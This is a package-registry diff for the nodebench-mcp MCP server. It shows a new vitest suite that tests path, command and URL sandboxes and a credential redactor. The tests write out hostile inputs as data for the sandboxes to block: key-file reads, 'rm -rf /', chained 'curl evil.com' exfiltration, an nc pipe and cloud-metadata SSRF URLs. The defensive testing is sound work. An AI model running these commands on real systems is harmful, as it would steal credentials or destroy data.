nodebench-mcp 2.31.2 → 2.33.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (97) hide show
  1. package/README.md +14 -6
  2. package/dist/engine/server.js +14 -4
  3. package/dist/engine/server.js.map +1 -1
  4. package/dist/index.js +1581 -670
  5. package/dist/index.js.map +1 -1
  6. package/dist/security/SecurityError.d.ts +18 -0
  7. package/dist/security/SecurityError.js +22 -0
  8. package/dist/security/SecurityError.js.map +1 -0
  9. package/dist/security/__tests__/security.test.d.ts +8 -0
  10. package/dist/security/__tests__/security.test.js +295 -0
  11. package/dist/security/__tests__/security.test.js.map +1 -0
  12. package/dist/security/auditLog.d.ts +36 -0
  13. package/dist/security/auditLog.js +178 -0
  14. package/dist/security/auditLog.js.map +1 -0
  15. package/dist/security/commandSandbox.d.ts +33 -0
  16. package/dist/security/commandSandbox.js +159 -0
  17. package/dist/security/commandSandbox.js.map +1 -0
  18. package/dist/security/config.d.ts +23 -0
  19. package/dist/security/config.js +43 -0
  20. package/dist/security/config.js.map +1 -0
  21. package/dist/security/credentialRedactor.d.ts +22 -0
  22. package/dist/security/credentialRedactor.js +118 -0
  23. package/dist/security/credentialRedactor.js.map +1 -0
  24. package/dist/security/index.d.ts +20 -0
  25. package/dist/security/index.js +21 -0
  26. package/dist/security/index.js.map +1 -0
  27. package/dist/security/pathSandbox.d.ts +23 -0
  28. package/dist/security/pathSandbox.js +160 -0
  29. package/dist/security/pathSandbox.js.map +1 -0
  30. package/dist/security/urlValidator.d.ts +23 -0
  31. package/dist/security/urlValidator.js +125 -0
  32. package/dist/security/urlValidator.js.map +1 -0
  33. package/dist/tools/agentBootstrapTools.js +22 -29
  34. package/dist/tools/agentBootstrapTools.js.map +1 -1
  35. package/dist/tools/contextSandboxTools.js +7 -9
  36. package/dist/tools/contextSandboxTools.js.map +1 -1
  37. package/dist/tools/deepSimTools.d.ts +2 -0
  38. package/dist/tools/deepSimTools.js +404 -0
  39. package/dist/tools/deepSimTools.js.map +1 -0
  40. package/dist/tools/dimensionTools.d.ts +2 -0
  41. package/dist/tools/dimensionTools.js +246 -0
  42. package/dist/tools/dimensionTools.js.map +1 -0
  43. package/dist/tools/executionTraceTools.d.ts +2 -0
  44. package/dist/tools/executionTraceTools.js +446 -0
  45. package/dist/tools/executionTraceTools.js.map +1 -0
  46. package/dist/tools/founderTools.d.ts +13 -0
  47. package/dist/tools/founderTools.js +595 -0
  48. package/dist/tools/founderTools.js.map +1 -0
  49. package/dist/tools/founderTrackingTools.d.ts +9 -0
  50. package/dist/tools/founderTrackingTools.js +644 -0
  51. package/dist/tools/founderTrackingTools.js.map +1 -0
  52. package/dist/tools/gitWorkflowTools.js +14 -10
  53. package/dist/tools/gitWorkflowTools.js.map +1 -1
  54. package/dist/tools/githubTools.js +19 -2
  55. package/dist/tools/githubTools.js.map +1 -1
  56. package/dist/tools/index.d.ts +87 -0
  57. package/dist/tools/index.js +102 -0
  58. package/dist/tools/index.js.map +1 -0
  59. package/dist/tools/localFileTools.js +24 -12
  60. package/dist/tools/localFileTools.js.map +1 -1
  61. package/dist/tools/memoryDecay.d.ts +70 -0
  62. package/dist/tools/memoryDecay.js +247 -0
  63. package/dist/tools/memoryDecay.js.map +1 -0
  64. package/dist/tools/missionHarnessTools.d.ts +32 -0
  65. package/dist/tools/missionHarnessTools.js +972 -0
  66. package/dist/tools/missionHarnessTools.js.map +1 -0
  67. package/dist/tools/observabilityTools.d.ts +15 -0
  68. package/dist/tools/observabilityTools.js +787 -0
  69. package/dist/tools/observabilityTools.js.map +1 -0
  70. package/dist/tools/openclawTools.js +151 -36
  71. package/dist/tools/openclawTools.js.map +1 -1
  72. package/dist/tools/progressiveDiscoveryTools.js +5 -4
  73. package/dist/tools/progressiveDiscoveryTools.js.map +1 -1
  74. package/dist/tools/qualityGateTools.js +118 -2
  75. package/dist/tools/qualityGateTools.js.map +1 -1
  76. package/dist/tools/rssTools.js +3 -0
  77. package/dist/tools/rssTools.js.map +1 -1
  78. package/dist/tools/scraplingTools.js +15 -0
  79. package/dist/tools/scraplingTools.js.map +1 -1
  80. package/dist/tools/seoTools.js +66 -1
  81. package/dist/tools/seoTools.js.map +1 -1
  82. package/dist/tools/sessionMemoryTools.js +50 -11
  83. package/dist/tools/sessionMemoryTools.js.map +1 -1
  84. package/dist/tools/temporalIntelligenceTools.d.ts +12 -0
  85. package/dist/tools/temporalIntelligenceTools.js +1068 -0
  86. package/dist/tools/temporalIntelligenceTools.js.map +1 -0
  87. package/dist/tools/toolRegistry.d.ts +19 -0
  88. package/dist/tools/toolRegistry.js +956 -31
  89. package/dist/tools/toolRegistry.js.map +1 -1
  90. package/dist/tools/webTools.js +14 -1
  91. package/dist/tools/webTools.js.map +1 -1
  92. package/dist/tools/webmcpTools.js +13 -2
  93. package/dist/tools/webmcpTools.js.map +1 -1
  94. package/dist/toolsetRegistry.js +14 -0
  95. package/dist/toolsetRegistry.js.map +1 -1
  96. package/dist/types.d.ts +10 -0
  97. package/package.json +124 -124
@@ -0,0 +1,295 @@
1
+ /**
2
+ * Security module tests — scenario-based, covering all 4 layers.
3
+ *
4
+ * Personas:
5
+ * - Mallory: Attacker trying to exfiltrate credentials via MCP tools
6
+ * - Alice: Legitimate user running builds, tests, git commands
7
+ */
8
+ import { describe, it, expect, beforeEach } from "vitest";
9
+ import { safePath } from "../pathSandbox.js";
10
+ import { safeExec } from "../commandSandbox.js";
11
+ import { safeUrl } from "../urlValidator.js";
12
+ import { redactSecrets, _resetEnvSecretsForTesting } from "../credentialRedactor.js";
13
+ import { SecurityError } from "../SecurityError.js";
14
+ import { setSecurityConfig, _resetSecurityConfigForTesting, } from "../config.js";
15
+ import * as os from "node:os";
16
+ import * as path from "node:path";
17
+ // ─── Setup ────────────────────────────────────────────────────────────────────
18
+ beforeEach(() => {
19
+ _resetSecurityConfigForTesting();
20
+ _resetEnvSecretsForTesting();
21
+ setSecurityConfig({ mode: "strict", allowedRoots: [process.cwd()] });
22
+ });
23
+ // ═══════════════════════════════════════════════════════════════════════════════
24
+ // PATH SANDBOXING
25
+ // ═══════════════════════════════════════════════════════════════════════════════
26
+ describe("pathSandbox — Mallory tries to read secrets", () => {
27
+ it("blocks ~/.ssh/id_rsa (SSH private key theft)", () => {
28
+ expect(() => safePath("~/.ssh/id_rsa")).toThrow(SecurityError);
29
+ expect(() => safePath("~/.ssh/id_rsa")).toThrow("PATH_SENSITIVE");
30
+ });
31
+ it("blocks ~/.aws/credentials (AWS key theft)", () => {
32
+ expect(() => safePath("~/.aws/credentials")).toThrow(SecurityError);
33
+ });
34
+ it("blocks ~/.ethereum/keystore (wallet seed theft)", () => {
35
+ expect(() => safePath("~/.ethereum/keystore/key.json")).toThrow(SecurityError);
36
+ });
37
+ it("blocks .env files regardless of location", () => {
38
+ expect(() => safePath(".env")).toThrow(SecurityError);
39
+ expect(() => safePath(".env.production")).toThrow(SecurityError);
40
+ expect(() => safePath(".env.local")).toThrow(SecurityError);
41
+ });
42
+ it("blocks path traversal to parent directories", () => {
43
+ expect(() => safePath("../../../../etc/passwd")).toThrow(SecurityError);
44
+ });
45
+ it("blocks absolute paths outside cwd", () => {
46
+ const outsidePath = path.join(os.homedir(), "Desktop", "secrets.txt");
47
+ expect(() => safePath(outsidePath)).toThrow(SecurityError);
48
+ });
49
+ it("blocks ~/.gnupg (GPG key theft)", () => {
50
+ expect(() => safePath("~/.gnupg/private-keys-v1.d")).toThrow(SecurityError);
51
+ });
52
+ it("blocks wallet seed files by pattern", () => {
53
+ expect(() => safePath("seed_phrase.txt")).toThrow(SecurityError);
54
+ expect(() => safePath("mnemonic.json")).toThrow(SecurityError);
55
+ expect(() => safePath("private_key.json")).toThrow(SecurityError);
56
+ });
57
+ });
58
+ describe("pathSandbox — Alice uses legitimate file operations", () => {
59
+ it("allows reading files within cwd", () => {
60
+ const result = safePath("package.json");
61
+ expect(result).toBe(path.resolve(process.cwd(), "package.json"));
62
+ });
63
+ it("allows reading nested files within cwd", () => {
64
+ const result = safePath("src/index.ts");
65
+ expect(result).toBe(path.resolve(process.cwd(), "src/index.ts"));
66
+ });
67
+ it("allows home directory access when explicitly opted in", () => {
68
+ const result = safePath("~/Documents/notes.txt", { allowHome: true });
69
+ expect(result).toBe(path.join(os.homedir(), "Documents", "notes.txt"));
70
+ });
71
+ it("allows temp directory when opted in", () => {
72
+ const tmpFile = path.join(os.tmpdir(), "test.txt");
73
+ const result = safePath(tmpFile, { allowTemp: true });
74
+ expect(result).toBe(tmpFile);
75
+ });
76
+ it("allows files in custom roots", () => {
77
+ const customRoot = path.resolve(process.cwd(), "test-sandbox");
78
+ const testFile = path.join(customRoot, "data.csv");
79
+ const result = safePath(testFile, {
80
+ allowedRoots: [customRoot],
81
+ });
82
+ expect(result).toBe(testFile);
83
+ });
84
+ });
85
+ describe("pathSandbox — permissive mode for testing", () => {
86
+ beforeEach(() => setSecurityConfig({ mode: "permissive" }));
87
+ it("allows all paths in permissive mode", () => {
88
+ const result = safePath("~/.ssh/id_rsa");
89
+ expect(result).toBe(path.join(os.homedir(), ".ssh", "id_rsa"));
90
+ });
91
+ });
92
+ // ═══════════════════════════════════════════════════════════════════════════════
93
+ // COMMAND SANDBOXING
94
+ // ═══════════════════════════════════════════════════════════════════════════════
95
+ describe("commandSandbox — Mallory tries injection attacks", () => {
96
+ it("blocks arbitrary commands not on allow-list", () => {
97
+ expect(() => safeExec("rm -rf /")).toThrow(SecurityError);
98
+ expect(() => safeExec("rm -rf /")).toThrow("EXEC_BLOCKED");
99
+ });
100
+ it("blocks shell metacharacter injection via semicolons", () => {
101
+ expect(() => safeExec("git status; curl evil.com")).toThrow(SecurityError);
102
+ expect(() => safeExec("git status; curl evil.com")).toThrow("EXEC_METACHAR");
103
+ });
104
+ it("blocks command substitution with $()", () => {
105
+ expect(() => safeExec("git log $(cat ~/.ssh/id_rsa)")).toThrow(SecurityError);
106
+ });
107
+ it("blocks backtick injection", () => {
108
+ expect(() => safeExec("git log `whoami`")).toThrow(SecurityError);
109
+ });
110
+ it("blocks && chaining", () => {
111
+ expect(() => safeExec("git status && curl evil.com")).toThrow(SecurityError);
112
+ });
113
+ it("blocks || chaining", () => {
114
+ expect(() => safeExec("git status || rm -rf /")).toThrow(SecurityError);
115
+ });
116
+ it("blocks redirect to overwrite files", () => {
117
+ expect(() => safeExec("echo pwned > /etc/passwd")).toThrow(SecurityError);
118
+ });
119
+ it("blocks pipes unless explicitly allowed", () => {
120
+ expect(() => safeExec("cat file | nc evil.com 1234")).toThrow(SecurityError);
121
+ });
122
+ it("allows pipes when opt-in", () => {
123
+ // This will fail on exec (cat file doesn't exist) but shouldn't throw SecurityError
124
+ const result = safeExec("cat package.json", { allowPipes: false });
125
+ // cat is on the allow-list, and no pipe — should execute (may fail but not SecurityError)
126
+ expect(result.exitCode).toBeDefined();
127
+ });
128
+ });
129
+ describe("commandSandbox — Alice runs legitimate commands", () => {
130
+ it("allows git commands", () => {
131
+ const result = safeExec("git status");
132
+ expect(result.exitCode).toBeDefined();
133
+ expect(typeof result.stdout).toBe("string");
134
+ });
135
+ it("allows npm commands", () => {
136
+ const result = safeExec("npm --version");
137
+ expect(result.exitCode).toBe(0);
138
+ expect(result.stdout).toMatch(/\d+\.\d+/);
139
+ });
140
+ it("allows node commands", () => {
141
+ const result = safeExec("node --version");
142
+ expect(result.exitCode).toBe(0);
143
+ });
144
+ it("caps timeout at configured max", () => {
145
+ setSecurityConfig({ maxExecTimeoutMs: 5000 });
146
+ // Even if user asks for 999s, it should be capped
147
+ const result = safeExec("echo hello", { timeout: 999_000 });
148
+ expect(result.exitCode).toBe(0);
149
+ expect(result.durationMs).toBeLessThan(5000);
150
+ });
151
+ it("allows ls/dir for directory listing", () => {
152
+ const cmd = process.platform === "win32" ? "dir" : "ls";
153
+ const result = safeExec(cmd);
154
+ expect(result.exitCode).toBeDefined();
155
+ });
156
+ });
157
+ // ═══════════════════════════════════════════════════════════════════════════════
158
+ // URL VALIDATION
159
+ // ═══════════════════════════════════════════════════════════════════════════════
160
+ describe("urlValidator — Mallory tries SSRF attacks", () => {
161
+ it("blocks file:// scheme", () => {
162
+ expect(() => safeUrl("file:///etc/passwd")).toThrow(SecurityError);
163
+ expect(() => safeUrl("file:///etc/passwd")).toThrow("URL_BAD_SCHEME");
164
+ });
165
+ it("blocks gopher:// scheme", () => {
166
+ expect(() => safeUrl("gopher://localhost:27017")).toThrow(SecurityError);
167
+ });
168
+ it("blocks AWS metadata endpoint (169.254.169.254)", () => {
169
+ expect(() => safeUrl("http://169.254.169.254/latest/meta-data/")).toThrow(SecurityError);
170
+ expect(() => safeUrl("http://169.254.169.254/latest/meta-data/")).toThrow("URL_PRIVATE_IP");
171
+ });
172
+ it("blocks localhost", () => {
173
+ expect(() => safeUrl("http://localhost:8080/admin")).toThrow(SecurityError);
174
+ });
175
+ it("blocks private IPs (10.x)", () => {
176
+ expect(() => safeUrl("http://10.0.0.1/internal")).toThrow(SecurityError);
177
+ });
178
+ it("blocks private IPs (192.168.x)", () => {
179
+ expect(() => safeUrl("http://192.168.1.1/router")).toThrow(SecurityError);
180
+ });
181
+ it("blocks private IPs (172.16-31.x)", () => {
182
+ expect(() => safeUrl("http://172.16.0.1/internal")).toThrow(SecurityError);
183
+ });
184
+ it("blocks Google Cloud metadata", () => {
185
+ expect(() => safeUrl("http://metadata.google.internal/computeMetadata/v1/")).toThrow(SecurityError);
186
+ });
187
+ it("blocks 127.0.0.1", () => {
188
+ expect(() => safeUrl("http://127.0.0.1:6276/admin")).toThrow(SecurityError);
189
+ });
190
+ });
191
+ describe("urlValidator — Alice fetches public URLs", () => {
192
+ it("allows https://", () => {
193
+ const result = safeUrl("https://api.github.com/repos/test");
194
+ expect(result).toBe("https://api.github.com/repos/test");
195
+ });
196
+ it("allows http:// to public IPs", () => {
197
+ const result = safeUrl("http://example.com/data.json");
198
+ expect(result).toBe("http://example.com/data.json");
199
+ });
200
+ it("allows private IPs when explicitly opted in (internal services)", () => {
201
+ const result = safeUrl("http://localhost:8006/health", { allowPrivate: true });
202
+ expect(result).toBe("http://localhost:8006/health");
203
+ });
204
+ });
205
+ // ═══════════════════════════════════════════════════════════════════════════════
206
+ // CREDENTIAL REDACTION
207
+ // ═══════════════════════════════════════════════════════════════════════════════
208
+ describe("credentialRedactor — prevents secret leaks in tool outputs", () => {
209
+ it("redacts OpenAI API keys", () => {
210
+ const output = 'Using key: sk-abcdefghijklmnopqrstuvwxyz1234567890';
211
+ const result = redactSecrets(output);
212
+ expect(result).toContain("[REDACTED:OPENAI_KEY]");
213
+ expect(result).not.toContain("sk-abcdefghijklmnop");
214
+ });
215
+ it("redacts GitHub PATs", () => {
216
+ const output = "token: ghp_abcdefghijklmnopqrstuvwxyz1234567890";
217
+ const result = redactSecrets(output);
218
+ expect(result).toContain("[REDACTED:GITHUB_PAT]");
219
+ });
220
+ it("redacts AWS access keys", () => {
221
+ const output = "AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE";
222
+ const result = redactSecrets(output);
223
+ expect(result).toContain("[REDACTED:AWS_ACCESS_KEY]");
224
+ });
225
+ it("redacts private key headers", () => {
226
+ const output = "-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIB...";
227
+ const result = redactSecrets(output);
228
+ expect(result).toContain("[REDACTED:PRIVATE_KEY]");
229
+ });
230
+ it("redacts npm tokens", () => {
231
+ const output = "//registry.npmjs.org/:_authToken=npm_abcdefghijklmnopqrstuvwxyz1234567890";
232
+ const result = redactSecrets(output);
233
+ expect(result).toContain("[REDACTED:NPM_TOKEN]");
234
+ });
235
+ it("redacts Google API keys", () => {
236
+ const output = "key=AIzaSyBcdefghijklmnopqrstuvwxyz12345678";
237
+ const result = redactSecrets(output);
238
+ expect(result).toContain("[REDACTED:GOOGLE_API_KEY]");
239
+ });
240
+ it("redacts Bearer tokens", () => {
241
+ const output = "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.abc123";
242
+ const result = redactSecrets(output);
243
+ expect(result).toContain("[REDACTED:BEARER_TOKEN]");
244
+ });
245
+ it("redacts password=value patterns", () => {
246
+ const output = 'password: "mySuperSecretPassword123"';
247
+ const result = redactSecrets(output);
248
+ expect(result).toContain("[REDACTED:CREDENTIAL]");
249
+ });
250
+ it("redacts dynamic env var values", () => {
251
+ // Simulate an env var with a secret
252
+ const originalValue = process.env.TEST_SECRET_KEY;
253
+ process.env.TEST_SECRET_KEY = "my-dynamic-secret-value-123";
254
+ _resetEnvSecretsForTesting();
255
+ const output = "The token is my-dynamic-secret-value-123 in the output";
256
+ const result = redactSecrets(output);
257
+ expect(result).toContain("[REDACTED:ENV_VALUE]");
258
+ expect(result).not.toContain("my-dynamic-secret-value-123");
259
+ // Cleanup
260
+ if (originalValue === undefined) {
261
+ delete process.env.TEST_SECRET_KEY;
262
+ }
263
+ else {
264
+ process.env.TEST_SECRET_KEY = originalValue;
265
+ }
266
+ _resetEnvSecretsForTesting();
267
+ });
268
+ it("leaves non-secret text untouched", () => {
269
+ const output = "Build completed successfully in 3.2s. 42 tests passed.";
270
+ const result = redactSecrets(output);
271
+ expect(result).toBe(output);
272
+ });
273
+ });
274
+ // ═══════════════════════════════════════════════════════════════════════════════
275
+ // INTEGRATION: Combined attack scenarios
276
+ // ═══════════════════════════════════════════════════════════════════════════════
277
+ describe("integration — multi-layer attack prevention", () => {
278
+ it("Mallory chains path traversal + shell injection: both blocked", () => {
279
+ // Try to read secrets via path — blocked by pathSandbox
280
+ expect(() => safePath("~/.ssh/id_rsa")).toThrow(SecurityError);
281
+ // Try to exfil via shell with chaining — blocked by metachar detection
282
+ expect(() => safeExec("cat ~/.ssh/id_rsa && curl evil.com")).toThrow(SecurityError);
283
+ });
284
+ it("Mallory tries SSRF to cloud metadata + exfil via chained command", () => {
285
+ expect(() => safeUrl("http://169.254.169.254/latest/meta-data/")).toThrow(SecurityError);
286
+ // Shell injection via chaining is blocked even if curl is allowed
287
+ expect(() => safeExec("curl http://169.254.169.254; cat /etc/passwd")).toThrow(SecurityError);
288
+ });
289
+ it("even if a secret leaks into output, redaction catches it", () => {
290
+ const simulatedLeak = "Found key: sk-abcdef1234567890abcdef1234 in config";
291
+ const result = redactSecrets(simulatedLeak);
292
+ expect(result).not.toContain("sk-abcdef");
293
+ });
294
+ });
295
+ //# sourceMappingURL=security.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"security.test.js","sourceRoot":"","sources":["../../../src/security/__tests__/security.test.ts"],"names":[],"mappings":"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